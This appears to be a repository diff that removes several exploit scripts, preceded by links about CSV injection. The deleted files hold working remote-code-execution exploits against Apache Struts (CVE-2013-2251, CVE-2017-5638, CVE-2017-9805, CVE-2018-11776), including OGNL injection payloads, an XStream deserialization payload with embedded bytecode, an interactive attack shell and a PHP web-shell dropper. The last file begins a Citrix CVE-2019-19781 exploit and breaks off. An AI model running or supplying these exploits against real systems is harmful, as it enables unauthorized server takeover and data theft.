* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/) * [CSV Injection A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://web.archive.org/web/20221205154959/https://payatu.com/csv-injection-basic-to-exploit/)
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/) * [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://web.archive.org/web/20251020005639/https://blog.xpnsec.com/from-csv-to-meterpreter/)
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html) * [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](https://web.archive.org/web/20260216175809/https://georgemauer.net/2017/10/07/csv-injection.html)
* [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation) * [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://web.archive.org/web/20220928031043/https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
* [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection) * [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://web.archive.org/web/20260115180627/https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)

View File

@@ -1,215 +0,0 @@
#!/usr/bin/python
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import input
from builtins import str
import urllib.request, urllib.error, urllib.parse
import time
import sys
import os
import subprocess
import requests
import readline
import urllib.parse
RED = '\033[1;31m'
BLUE = '\033[94m'
BOLD = '\033[1m'
GREEN = '\033[32m'
OTRO = '\033[36m'
YELLOW = '\033[33m'
ENDC = '\033[0m'
def cls():
os.system(['clear', 'cls'][os.name == 'nt'])
cls()
logo = BLUE+'''
___ _____ ___ _ _ _____ ___
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
| (_(_) | | | (_) )| | | | | | | (_(_)
`\__ \ | | | , / | | | | | | `\__ \
( )_) | | | | |\ \ | (_) | | | ( )_) |
`\____) (_) (_) (_)(_____) (_) `\____)
=[ Command Execution v3]=
By @s1kr10s
'''+ENDC
print(logo)
print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
host = input(BOLD+" [+] HOST: "+ENDC)
if len(host) > 0:
if host.find("https://") != -1 or host.find("http://") != -1:
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
def exploit(comando):
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploit
def exploit2(comando):
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
return exploit2
def exploit3(comando):
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
return exploit3
def pwnd(shellfile):
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploitfile
def validador():
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
return arr_lin_win
#def reversepl(ip,port):
# print "perl"
#def reversepy(ip,port):
# print "python"
# CVE-2013-2251 ---------------------------------------------------------------------------------
try:
response = ''
response = urllib.request.urlopen(host+poc)
except:
print(RED+" Servidor no responde\n"+ENDC)
exit(0)
print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
if response.read().find("mamalo") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
#print BOLD+" * [SHELL REVERSA]"+ENDC
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
while 1:
separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
espacio = separador.split(' ')
comando = "','".join(espacio)
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
print("\n"+shell.read())
elif espacio[0] == 'pwnd':
pathsave=input("path EJ:/tmp/: ")
if espacio[1] == 'php':
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
urllib.request.urlopen(host+pwnd(str(shellfile)))
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
if shell.read().find(pathsave+"status.php") != -1:
print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC)
else:
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
# CVE-2017-5638 ---------------------------------------------------------------------------------
print(BLUE+" [-] NO VULNERABLE"+ENDC)
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
x = 0
while x < len(validador()):
valida = validador()[x]
try:
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
result = urllib.request.urlopen(req).read()
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
while 1:
try:
separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
result = urllib.request.urlopen(req).read()
print("\n"+result)
except:
exit(0)
else:
x = len(validador())
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
# CVE-2018-11776 ---------------------------------------------------------------------------------
print(BLUE+" [-] NO VULNERABLE"+ENDC)
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
x = 0
while x < len(validador()):
#Filtramos la url solo dominio
url = host.replace('#', '%23')
url = host.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urllib.parse.urlparse(url).scheme
site = scheme + '://' + urllib.parse.urlparse(url).netloc
#Filtramos la url solo path
file_path = urllib.parse.urlparse(url).path
if (file_path == ''):
file_path = '/'
valida = validador()[x]
try:
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
while 1:
separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
espacio = separador.split(' ')
comando = "%20".join(espacio)
shell = urllib.request.urlopen(host+exploit3(str(comando)))
print("\n"+shell.read())
else:
x = len(validador())
exit(0)
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
else:
print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
exit(0)
else:
print(RED+" Debe Ingresar una Url\n"+ENDC)
exit(0)

View File

@@ -1,326 +0,0 @@
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2017-9805 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code is based on:
# https://github.com/rapid7/metasploit-framework/pull/8924
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
# *****************************************************
from __future__ import print_function
from builtins import str
import argparse
import requests
import sys
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2017-9805 - Apache Struts2 S2-052')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: 'echo test > /tmp/struts-pwn')",
action='store',
default='echo test > /tmp/struts-pwn')
parser.add_argument("--exploit",
dest="do_exploit",
help="Exploit.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
do_exploit = args.do_exploit if args.do_exploit else None
def url_prepare(url):
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str('http') + str('://') + str(url)
return(url)
def exploit(url, cmd, dont_print_status_on_console=False):
url = url_prepare(url)
if dont_print_status_on_console is False:
print('\n[*] URL: %s' % (url))
print('[*] CMD: %s' % (cmd))
cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])
payload = """
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
{0}
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
""".format(cmd)
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Referer': str(url),
'Content-Type': 'application/xml',
'Accept': '*/*'
}
timeout = 3
try:
output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
except Exception as e:
print("EXCEPTION::::--> " + str(e))
output = 'ERROR'
return(output)
def check(url):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
initial_request = exploit(url, "", dont_print_status_on_console=True)
if initial_request == "ERROR":
result = False
print("The host does not respond as expected.")
return(result)
payload_sleep_based_10seconds = """
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJD
bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5
bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy
aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs
YW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUv
eG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9u
cwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29t
L3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3Vu
L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7
KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1B
eGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs
L3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMu
amF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNs
ZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp
bWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcv
YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFs
L3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA
BXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVy
MTY3MTMxNTc4NjQ1ODk0AQAgTHlzb3NlcmlhbC9Qd25lcjE2NzEzMTU3ODY0NTg5NDsAIQACAAMA
AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A
AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A
AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa
AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA
AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA
AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ
</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy
aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2
YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh
bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp
bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB
AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA
AAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>newTransformer</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
"""
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Referer': str(url),
'Content-Type': 'application/xml',
'Accept': '*/*'
}
timeout = 8
try:
requests.post(url, data=payload_sleep_based_10seconds, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
# if the response returned before the request timeout.
# then, the host should not be vulnerable.
# The request should return > 10 seconds, while the timeout is 8.
result = False
except Exception:
result = True
return(result)
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
if url:
if not do_exploit:
result = check(url)
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
print(output)
else:
exploit(url, cmd)
print("[$] Request sent.")
print("[.] If the host is vulnerable, the command will be executed in the background.")
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), 'r')
URLs_List = f_file.read().replace('\r', '').split('\n')
try:
URLs_List.remove('')
except ValueError:
pass
f_file.close()
except Exception as e:
print('Error: There was an error in reading list file.')
print("Exception: " + str(e))
exit(1)
for url in URLs_List:
if not do_exploit:
result = check(url)
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
print(output)
else:
exploit(url, cmd)
print("[$] Request sent.")
print("[.] If the host is vulnerable, the command will be executed in the background.")
print('[%] Done.')
if __name__ == '__main__':
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
except KeyboardInterrupt:
print('\nKeyboardInterrupt Detected.')
print('Exiting...')
exit(0)

View File

@@ -1,231 +0,0 @@
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2018-11776 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code uses a payload from:
# https://github.com/jas502n/St2-057
# *****************************************************
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import str
from builtins import range
import argparse
import random
import requests
import sys
try:
from urllib import parse as urlparse
except ImportError:
import urllib.parse
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: 'id')",
action='store',
default='id')
parser.add_argument("--exploit",
dest="do_exploit",
help="Exploit.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
cmd = args.cmd if args.cmd else None
do_exploit = args.do_exploit if args.do_exploit else None
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*'
}
timeout = 3
def parse_url(url):
"""
Parses the URL.
"""
# url: http://example.com/demo/struts2-showcase/index.action
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urllib.parse.urlparse(url).scheme
# Site: http://example.com
site = scheme + '://' + urllib.parse.urlparse(url).netloc
# FilePath: /demo/struts2-showcase/index.action
file_path = urllib.parse.urlparse(url).path
if (file_path == ''):
file_path = '/'
# Filename: index.action
try:
filename = url.split('/')[-1]
except IndexError:
filename = ''
# File Dir: /demo/struts2-showcase/
file_dir = file_path.rstrip(filename)
if (file_dir == ''):
file_dir = '/'
return({"site": site,
"file_dir": file_dir,
"filename": filename})
def build_injection_inputs(url):
"""
Builds injection inputs for the check.
"""
parsed_url = parse_url(url)
injection_inputs = []
url_directories = parsed_url["file_dir"].split("/")
try:
url_directories.remove("")
except ValueError:
pass
for i in range(len(url_directories)):
injection_entry = "/".join(url_directories[:i])
if not injection_entry.startswith("/"):
injection_entry = "/%s" % (injection_entry)
if not injection_entry.endswith("/"):
injection_entry = "%s/" % (injection_entry)
injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.
injection_entry += parsed_url["filename"]
injection_inputs.append(injection_entry)
return(injection_inputs)
def check(url):
random_value = int(''.join(random.choice('0123456789') for i in range(2)))
multiplication_value = random_value * random_value
injection_points = build_injection_inputs(url)
parsed_url = parse_url(url)
print("[%] Checking for CVE-2018-11776")
print("[*] URL: %s" % (url))
print("[*] Total of Attempts: (%s)" % (len(injection_points)))
attempts_counter = 0
for injection_point in injection_points:
attempts_counter += 1
print("[%s/%s]" % (attempts_counter, len(injection_points)))
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
continue
if "Location" in list(resp.headers.keys()):
if str(multiplication_value) in resp.headers['Location']:
print("[*] Status: Vulnerable!")
return(injection_point)
print("[*] Status: Not Affected.")
return(None)
def exploit(url, cmd):
parsed_url = parse_url(url)
injection_point = check(url)
if injection_point is None:
print("[%] Target is not vulnerable.")
return(0)
print("[%] Exploiting...")
payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
return(1)
print("[%] Response:")
print(resp.text)
return(0)
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
if url:
if not do_exploit:
check(url)
else:
exploit(url, cmd)
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), "r")
URLs_List = f_file.read().replace("\r", "").split("\n")
try:
URLs_List.remove("")
except ValueError:
pass
f_file.close()
except Exception as e:
print("Error: There was an error in reading list file.")
print("Exception: " + str(e))
exit(1)
for url in URLs_List:
if not do_exploit:
check(url)
else:
exploit(url, cmd)
print("[%] Done.")
if __name__ == "__main__":
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
except KeyboardInterrupt:
print("\nKeyboardInterrupt Detected.")
print("Exiting...")
exit(0)

View File

@@ -1,51 +0,0 @@
#!/usr/bin/env python
# https://github.com/mpgn/CVE-2019-19781
# # #
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")
if len(sys.argv) < 2:
print("[-] No URL provided")
sys.exit(0)
while True:
try:
command = input("command > ")
